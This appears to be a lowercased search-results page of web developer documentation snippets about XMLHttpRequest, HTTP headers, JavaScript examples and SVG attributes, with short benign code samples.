the http feature-policy header sync-xhr directive controls whether the current document is allowed to make synchronous xmlhttprequest requests.
Feature-Policy - HTTP
sync-xhr controls whether the current document is allowed to make synchronous xmlhttprequest requests.
Set-Cookie - HTTP
when calling xmlhttprequest.send() or fetch().
HTTP headers - HTTP
WebHTTPHeaders
x-permitted-cross-domain-policies specifies if a cross-domain policy file (crossdomain.xml) is allowed.
OPTIONS - HTTP
WebHTTPMethodsOPTIONS
options /resources/post-here/ http/1.1 host: bar.example accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip,deflate connection: keep-alive origin: https://foo.example access-control-request-method: post access-control-request-headers: x-pingother, content-type the server now can respond if it will accept a request under these circumstances.
POST - HTTP
WebHTTPMethodsPOST
text/plain when the post request is sent via a method other than an html form — like via an xmlhttprequest — the body can take any type.
An overview of HTTP - HTTP
WebHTTPOverview
apis based on http the most commonly used api based on http is the xmlhttprequest api, which can be used to exchange data between a user agent and a server.
Protocol upgrade mechanism - HTTP
in essence, then, this key simply confirms that "yes, i really mean to open a websocket connection." this header is automatically added by clients that choose to use it; it cannot be added using the xmlhttprequest.setrequestheader() method.
A typical HTTP session - HTTP
WebHTTPSession
to work around this problem, web developers use several techniques: ping the server periodically via the xmlhttprequest, fetch apis, using the websockets api, or similar protocols.
JavaScript data types and data structures - JavaScript
strings are the common denominator of a lot of apis (input fields, local storage values, xmlhttprequest responses when using responsetext, etc.) and it can be tempting to only work with strings.
Details of the object model - JavaScript
totype; chris.__proto__.__proto__.__proto__.__proto__ == object.prototype; chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null; given this, you could write an instanceof function as follows: function instanceof(object, constructor) { object = object.__proto__; while (object != null) { if (object == constructor.prototype) return true; if (typeof object == 'xml') { return constructor.prototype == xml.prototype; } object = object.__proto__; } return false; } note: the implementation above checks the type of the object against "xml" in order to work around a quirk of how xml objects are represented in recent versions of javascript.
JavaScript language resources - JavaScript
see also the es5 errata and ecmascript 5 support in mozilla ecma-357 pdf june 2004 ecmascript for xml (e4x).
Promise() constructor - JavaScript
solve, reject) => { // do something asynchronous which eventually calls either: // // resolve(somevalue) // fulfilled // or // reject("failure reason") // rejected }); making functions return a promise to provide a function with promise functionality, have it return a promise: function myasyncfunction(url) { return new promise((resolve, reject) => { const xhr = new xmlhttprequest() xhr.open("get", url) xhr.onload = () => resolve(xhr.responsetext) xhr.onerror = () => reject(xhr.statustext) xhr.send() }); } specifications specification ecmascript (ecma-262)the definition of 'promise constructor' in that specification.
Promise - JavaScript
loading an image with xhr another simple example using promise and xmlhttprequest to load an image is available at the mdn github js-examples repository.
encodeURI() - JavaScript
!~*'() console.log(encodeuri(set3)); // abc%20abc%20123 (the space gets encoded as %20) console.log(encodeuricomponent(set1)); // %3b%2c%2f%3f%3a%40%26%3d%2b%24%23 console.log(encodeuricomponent(set2)); // -_.!~*'() console.log(encodeuricomponent(set3)); // abc%20abc%20123 (the space gets encoded as %20) note that encodeuri() by itself cannot form proper http get and post requests, such as for xmlhttprequest, because "&", "+", and "=" are not encoded, which are treated as special characters in get and post requests.
import - JavaScript
the module: file.js function getjson(url, callback) { let xhr = new xmlhttprequest(); xhr.onload = function () { callback(this.responsetext) }; xhr.open('get', url, true); xhr.send(); } export function getusefulcontents(url, callback) { getjson(url, data => callback(json.parse(data))); } the main program: main.js import { getusefulcontents } from '/modules/file.js'; getusefulcontents('http://www.example.com', data => { dosomethinguseful(data); }...
JavaScript typed arrays - JavaScript
xmlhttprequest.prototype.send() xmlhttprequest instances' send() method now supports typed arrays and arraybuffer objects as argument.
MathML attribute reference - MathML
xmlns <math> specifies the uri for the mathml namespace (http://www.w3.org/1998/math/mathml) ...
Media - Progressive web apps (PWAs)
there are more examples of the display property in a later page in this tutorial: xml data.
Web API reference - Web technology reference
WebReferenceAPI
html, xml and svg have extended it to manipulate their specific elements.
alignment-baseline - SVG: Scalable Vector Graphics
example <svg width="300" height="120" viewbox="0 0 300 120" xmlns="http://www.w3.org/2000/svg"> <!-- materialisation of anchors --> <path d="m60,10 l60,110 m30,10 l300,10 m30,65 l300,65 m30,110 l300,110 " stroke="grey" /> <!-- anchors in action --> <text alignment-baseline="hanging" x="60" y="10">a hanging</text> <text alignment-baseline="middle" x="60" y="65...
attributeName - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 250 250" xmlns="http://www.w3.org/2000/svg"> <rect x="50" y="50" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="5s" repeatcount="indefinite"/> </rect> </svg> usage notes value <name> default value none animatable no <name> this value indicates the name of the css property or attribute of the target element to be animated.
azimuth - SVG: Scalable Vector Graphics
WebSVGAttributeazimuth
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight azimuth="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight azimuth="240" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" /> </svg> usage notes value <number> default v...
baseProfile - SVG: Scalable Vector Graphics
only one element is using this attribute: <svg> context notes value profile name default value none animatable no example <svg width="120" height="120" version="1.1" xmlns="http://www.w3.org/2000/svg" baseprofile="full"> ...
by - SVG: Scalable Vector Graphics
WebSVGAttributeby
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" width="100" height="100"> <animate attributename="width" fill="freeze" by="50" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
clip-path - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has noticeable effects mostly on the following nineteen elements: <a>, <circle>, <clippath>, <ellipse>, <g>, <glyph>, <image>, <line>, <marker>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <svg>, <symbol>, <text>, <use> html,body,svg { height:100% } <svg viewbox="0 0 20 20" xmlns="http://www.w3.org/2000/svg"> <clippath id="myclip" clippathunits="objectboundingbox"> <circle cx=".5" cy=".5" r=".5" /> </clippath> <!-- top-left: apply a custom defined clipping path --> <rect x="1" y="1" width="8" height="8" stroke="green" clip-path="url(#myclip)" /> <!-- top-right: apply a css basic shape on a fill-box geometry.
clip-rule - SVG: Scalable Vector Graphics
example <svg width="100" viewbox="0 0 100 90" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- define star path --> <defs> <path d="m50,0 21,90 98,35 2,35 79,90z" id="star" /> </defs> <!-- left: evenodd --> <clippath id="emptystar"> <use xlink:href="#star" clip-rule="evenodd" /> </clippath> <rect clip-path="url(#emptystar)" width="50" height="90" fill="blue" /> <!-- right: nonzero --> <clippath id="filledstar"> ...
clip - SVG: Scalable Vector Graphics
WebSVGAttributeclip
as a presentation attribute, it can be applied to any element but it has effect only on the following six elements: <svg>, <symbol>, <image>, <foreignobject>, <pattern>, <marker> html,body,svg { height:100% } <svg viewbox="0 0 20 10" xmlns="http://www.w3.org/2000/svg"> <!-- auto clipping --> <svg x="0" width="10" height="10" clip="auto"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> <!-- rect(top, right, bottom, left) clipping --> <svg x="10" width="10" height="10" clip="rect(1, 9, 8, 2)"> <circle cx="5" cy="5" r="4" stroke="green" /> </svg> </svg> usage notes warning: this property ...
color-rendering - SVG: Scalable Vector Graphics
following 29 elements: <a>, <animate>, <animatecolor>, <circle>, <clippath>, <defs>, <ellipse>, <foreignobject>, <g>, <glyph>, <image>, <line>, <lineargradient>, <marker>, <mask>, <missing-glyph>, <path>, <pattern>, <polygon>, <polyline>, <radialgradient>, <rect>, <svg>, <switch>, <symbol>, <text>, <textpath>, <tspan>, and <use> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="gradient" cx="0.5" cy="0.5" r="0.5" fx="0.35" fy="0.35" fr="5%"> <stop offset="0%" stop-color="white"/> <stop offset="100%" stop-color="darkseagreen"/> </radialgradient> </defs> <circle cx="100" cy="100" r="100" fill="url(#gradient)" color-rendering="optimizequality" /> <text x="45" y="50%" color-rendering="op...
color - SVG: Scalable Vector Graphics
WebSVGAttributecolor
usage notes value <color> | inherit default value depends on user agent animatable yes example html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <g color="green"> <rect width="50" height="50" fill="currentcolor" /> <circle r="25" cx="70" cy="70" stroke="currentcolor" fill="none" stroke-width="5" /> </g> </svg> specifications specification status comment scalable vector graphics (svg) 2the definition of 'color' in that specification.
data-* - SVG: Scalable Vector Graphics
WebSVGAttributedata-*
the * can be replaced by any characters allowed in xml's rules for names, with the following restrictions: can't start with xml.
diffuseConstant - SVG: Scalable Vector Graphics
only one element is using this attribute: <fediffuselighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="1"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" diffuseconstant="2"> <fepointlight x="6...
direction - SVG: Scalable Vector Graphics
html, body, svg { height: 100%; } <svg viewbox="0 0 600 72" xmlns="http://www.w3.org/2000/svg" direction="rtl" lang="fa"> <text x="300" y="50" text-anchor="middle" font-size="36">داستان svg 1.1 se طولا ني است.</text> </svg> usage notes value ltr | rtl default value ltr animatable yes specifications specification status comment css writing modes module level...
display - SVG: Scalable Vector Graphics
WebSVGAttributedisplay
html, body, svg { height: 100%; } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <!-- here the yellow rectangle is displayed --> <rect x="0" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="20" y="20" width="60" height="60" fill="yellow"></rect> <!-- here the yellow rectangle is not displayed --> <rect x="120" y="0" width="100" height="100" fill="skyblue"></rect> <rect x="140" y="20" width="60" height="60" fill="yello...
divisor - SVG: Scalable Vector Graphics
WebSVGAttributedivisor
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 2 0 0 0 0 0 0 -1" divisor="8"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_...
dur - SVG: Scalable Vector Graphics
WebSVGAttributedur
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 220 150" xmlns="http://www.w3.org/2000/svg"> <rect x="0" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="1s" repeatcount="indefinite"/> </rect> <rect x="120" y="0" width="100" height="100"> <animate attributetype="xml" attributename="y" from="0" to="50" dur="3s" repeatcount="indefinite"/> </rect> </svg> usage notes value <clock-value> | media | indefinite default value indefinite animatable no <clock-value> this value speci...
elevation - SVG: Scalable Vector Graphics
only one element is using this attribute: <fedistantlight> html, body, svg { height: 100%; } <svg viewbox="0 0 440 200" xmlns="http://www.w3.org/2000/svg"> <filter id="distantlight1"> <fediffuselighting> <fedistantlight elevation="0" /> </fediffuselighting> </filter> <filter id="distantlight2"> <fediffuselighting> <fedistantlight elevation="45" /> </fediffuselighting> </filter> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight1);" /> <circle cx="100" cy="100" r="80" style="filter: url(#distantlight2); transform: translatex(240px);" />...
exponent - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="gamma" exponent="1"/> <fefuncg type="gamma" exponent="1"/> <fefuncb type="gamma" exponent="1"/> </fecomponenttransfer...
fill-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eleven elements: <altglyph>, <circle>, <ellipse>, <path>, <polygon>, <polyline>, <rect>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 400 100" xmlns="http://www.w3.org/2000/svg"> <!-- default fill opacity: 1 --> <circle cx="50" cy="50" r="40" /> <!-- fill opacity as a number --> <circle cx="150" cy="50" r="40" fill-opacity="0.7" /> <!-- fill opacity as a percentage --> <circle cx="250" cy="50" r="40" fill-opacity="50%" /> <!-- fill opacity as a css property --> <circle cx="350" cy="50" r="40" ...
filter - SVG: Scalable Vector Graphics
WebSVGAttributefilter
html, body, svg { height: 100%; } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <filter id="blur"> <fegaussianblur stddeviation="2" /> </filter> <rect x="10" y="10" width="80" height="80" filter="url(#blur)" /> </svg> usage notes value none | <filter-function-list> default value none animatable yes for a description of the values see the css filter property.
flood-color - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="skyblue" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood2)...
flood-opacity - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following two elements: <feflood> and <fedropshadow> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="flood1"> <feflood flood-color="seagreen" flood-opacity="1" x="0" y="0" width="200" height="200"/> </filter> <filter id="flood2"> <feflood flood-color="seagreen" flood-opacity="0.3" x="0" y="0" width="200" height="200"/> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#flood1);" /> <rect x="0" y="0" width="200...
font-family - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="arial, helvetica, sans-serif">sans serif</text> <text x="100" y="20" font-family="monospace">monospace</text> </svg> usage notes value [ <family-name> | <generic-family> ]#where <family-name> = <string> | <custom-ident>+<generic-family> = serif | sans-serif | cursive | fantasy | monospace default value depe...
font-size-adjust - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="600" height="80" viewbox="0 0 500 80" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-family="times, serif" font-size="10px"> this text uses the times font (10px), which is hard to read in small sizes.
font-size - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-size="smaller">smaller</text> <text x="100" y="20" font-size="2em">2em</text> </svg> usage notes value <absolute-size> | <relative-size> | <length-percentage> default value medium animatable yes for a description of the values, please refer to the css font-size property.
font-style - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but only has an effect on the following five elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-style="normal">normal font style</text> <text x="150" y="20" font-style="italic">italic font style</text> </svg> usage notes value normal | italic | oblique default value normal animatable yes for a description of the values, please refer to the css font-style property.
font-variant - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 250 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-variant="normal">normal text</text> <text x="100" y="20" font-variant="small-caps">small-caps text</text> </svg> usage notes value normal | none | [ <common-lig-values> || <discretionary-lig-values> || <historical-lig-values> || <contextual-alt-values> || stylistic( <feature-value-name> ) || historical-forms || styleset( ...
font-weight - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 200 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" font-weight="normal">normal text</text> <text x="100" y="20" font-weight="bold">bold text</text> </svg> usage notes value normal | bold | bolder | lighter | <number> default value normal animatable yes for a description of the values, please refer to the css font-weight property.
from - SVG: Scalable Vector Graphics
WebSVGAttributefrom
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 200 200" xmlns="http://www.w3.org/2000/svg"> <rect x="10" y="10" height="100"> <animate attributename="width" fill="freeze" from="100" to="150" dur="3s"/> </rect> </svg> usage notes value see below default value none animatable no the exact value type for this attribute depends on the value of the attribute that will be animated.
gradientTransform - SVG: Scalable Vector Graphics
two elements are using this attribute: <lineargradient> and <radialgradient> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <radialgradient id="gradient1" gradientunits="userspaceonuse" cx="100" cy="100" r="100" fx="100" fy="100"> <stop offset="0%" stop-color="darkblue" /> <stop offset="50%" stop-color="skyblue" /> <stop offset="100%" stop-color="darkblue" /> </radialgradient> <radialgradient id="gradient2" gradientunits="userspaceonuse" cx="100" cy="100" r...
height - SVG: Scalable Vector Graphics
WebSVGAttributeheight
ecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <feflood>, <fegaussianblur>, <feimage>, <femerge>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile>, <feturbulence>, <filter>, <foreignobject>, <image>, <mask>, <pattern>, <rect>, <svg>, and <use> html,body,svg { height:100% } <svg viewbox="0 0 300 100" xmlns="http://www.w3.org/2000/svg"> <!-- with a height of 0 or less, nothing will be rendered --> <rect y="0" x="0" width="90" height="0"/> <rect y="0" x="100" width="90" height="60"/> <rect y="0" x="200" width="90" height="100%"/> </svg> feblend for <feblend>, height defines the vertical length for the rendering area of the primitive.
intercept - SVG: Scalable Vector Graphics
four elements are using this attribute: <fefunca>, <fefuncb>, <fefuncg>, and <fefuncr> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient" gradientunits="userspaceonuse" x1="0" y1="0" x2="200" y2="0"> <stop offset="0" stop-color="#ff0000" /> <stop offset="0.5" stop-color="#00ff00" /> <stop offset="1" stop-color="#0000ff" /> </lineargradient> </defs> <filter id="componenttransfer1" x="0" y="0" width="100%" height="100%"> <fecomponenttransfer> <fefuncr type="linear" intercept="0"/> <fefuncg type="linear" interce...
k1 - SVG: Scalable Vector Graphics
WebSVGAttributek1
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0"...
k2 - SVG: Scalable Vector Graphics
WebSVGAttributek2
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="1" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="10" k3="0" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0"...
k3 - SVG: Scalable Vector Graphics
WebSVGAttributek3
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="1" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="10" k4="0" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="0"...
k4 - SVG: Scalable Vector Graphics
WebSVGAttributek4
the pixel composition is computed using the following formula: result = k1*i1*i2 + k2*i1 + k3*i2 + k4 only one element is using this attribute: <fecomposite> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="composite1" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="1" k2="0" k3="0" k4="0" /> </filter> <filter id="composite2" x="0" y="0" width="100%" height="100%"> <fecomposite in2="sourcegraphic" operator="arithmetic" k1="10" k2="0" k3="0" k4="0.3" /> </filter> <image href="https://mdn.mozillademos.org/files/12668/mdn.svg" x="...
kernelMatrix - SVG: Scalable Vector Graphics
only one element is using this attribute: <feconvolvematrix> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="convolvematrix1" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="1 1 0 0 0 0 0 0 -1"/> </filter> <filter id="convolvematrix2" x="0" y="0" width="100%" height="100%"> <feconvolvematrix kernelmatrix="-1 0 0 0 0 0 0 0 1"/> </filter> <image xlink:href="//developer.mozilla.org/files/6457/mdn_logo_only_color.png" wid...
kerning - SVG: Scalable Vector Graphics
WebSVGAttributekerning
as a presentation attribute, it can be applied to any element but it has effect only on the following four elements: <altglyph>, <textpath>, <text>, <tref>, and <tspan> html, body, svg { height: 100%; font: 36px verdana, helvetica, arial, sans-serif; } <svg viewbox="0 0 150 125" xmlns="http://www.w3.org/2000/svg"> <text x="10" y="30" kerning="auto">auto</text> <text x="10" y="70" kerning="0">number</text> <text x="10" y="110" kerning="20px">length</text> </svg> usage notes value auto | <length> default value auto animatable yes auto this value indicates that the spacing between glyphs is adjusted based on kerning table...
keyPoints - SVG: Scalable Vector Graphics
five elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <path d="m10,110 a120,120 -45 0,1 110 10 a120,120 -45 0,1 10,110" stroke="lightgrey" stroke-width="2" fill="none" id="motionpath"/> <circle cx="10" cy="110" r="3" fill="lightgrey"/> <circle cx="110" cy="10" r="3" fill="lightgrey"/> <circle r="5" fill="red"> <animatemotion dur="3s" repeatcount="indefinite" keypoints="0;0.5;1" keytimes="0;0.15;1" calcmode="linear"> <mpath xlink:href="#motionpath"/> </animatemotion> </circle>...
keySplines - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" calcmode="spline" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1" keysplines="0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1 ; 0.5 0 0.5 1"/> <animate attributename="cy" dur="4s" calcmode="spline" repeatcount="indefinite" va...
keyTimes - SVG: Scalable Vector Graphics
four elements are using this attribute: <animate>, <animatecolor>, <animatemotion>, and <animatetransform> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <circle cx="60" cy="10" r="10"> <animate attributename="cx" dur="4s" repeatcount="indefinite" values="60 ; 110 ; 60 ; 10 ; 60" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> <animate attributename="cy" dur="4s" repeatcount="indefinite" values="10 ; 60 ; 110 ; 60 ; 10" keytimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"/> </circle> </svg> usage notes ...
lengthAdjust - SVG: Scalable Vector Graphics
four elements are using this attribute: <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg width="300" height="150" xmlns="http://www.w3.org/2000/svg"> <g font-face="sans-serif"> <text x="0" y="20" textlength="300" lengthadjust="spacing"> stretched using spacing only.
letter-spacing - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <text>, <textpath>, <tref>, and <tspan> html, body, svg { height: 100%; } <svg viewbox="0 0 400 30" xmlns="http://www.w3.org/2000/svg"> <text y="20" letter-spacing="2">bigger letter-spacing</text> <text x="200" y="20" letter-spacing="-0.5">smaller letter-spacing</text> </svg> usage notes value normal | <length> default value normal animatable yes for a description of the values, please refer to the css letter-spacing property.
lighting-color - SVG: Scalable Vector Graphics
two elements are using this attribute: <fediffuselighting> and <fespecularlighting> html, body, svg { height: 100%; } <svg viewbox="0 0 420 200" xmlns="http://www.w3.org/2000/svg"> <filter id="diffuselighting1" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="white"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <filter id="diffuselighting2" x="0" y="0" width="100%" height="100%"> <fediffuselighting in="sourcegraphic" lighting-color="blue"> <fepointlight x="60" y="60" z="20" /> </fediffuselighting> </filter> <rect x="0" y="0" width="200" height="200" style="filter: url(#diffuseligh...
limitingConeAngle - SVG: Scalable Vector Graphics
only one element is using this attribute: <fespotlight> html, body, svg { height: 100%; } <svg viewbox="0 0 480 200" xmlns="http://www.w3.org/2000/svg"> <filter id="spotlight1" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespotlight x="10" y="10" z="50" pointsatx="100" pointsaty="100" limitingconeangle="10" /> </fediffuselighting> </filter> <filter id="spotlight2" x="0" y="0" width="100%" height="100%"> <fediffuselighting diffuseconstant="2"> <fespo...
marker-end - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-end="url(#trian...
marker-mid - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="circle" markerwidth="8" markerheight="8" refx="4" refy="4"> <circle cx="4" cy="4" r="4" stroke="none" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-mid="url(#circle)"/> </svg> usage notes value none | <marker-ref> default value ...
marker-start - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following seven elements: <circle>, <ellipse>, <line>, <path>, <polygon>, <polyline>, and <rect> html, body, svg { height: 100%; } <svg viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg"> <defs> <marker id="triangle" viewbox="0 0 10 10" refx="1" refy="5" markerunits="strokewidth" markerwidth="10" markerheight="10" orient="auto"> <path d="m 0 0 l 10 5 l 0 10 z" fill="#f00"/> </marker> </defs> <polyline fill="none" stroke="black" points="20,100 40,60 70,80 100,20" marker-start="url(#tri...
mask - SVG: Scalable Vector Graphics
WebSVGAttributemask
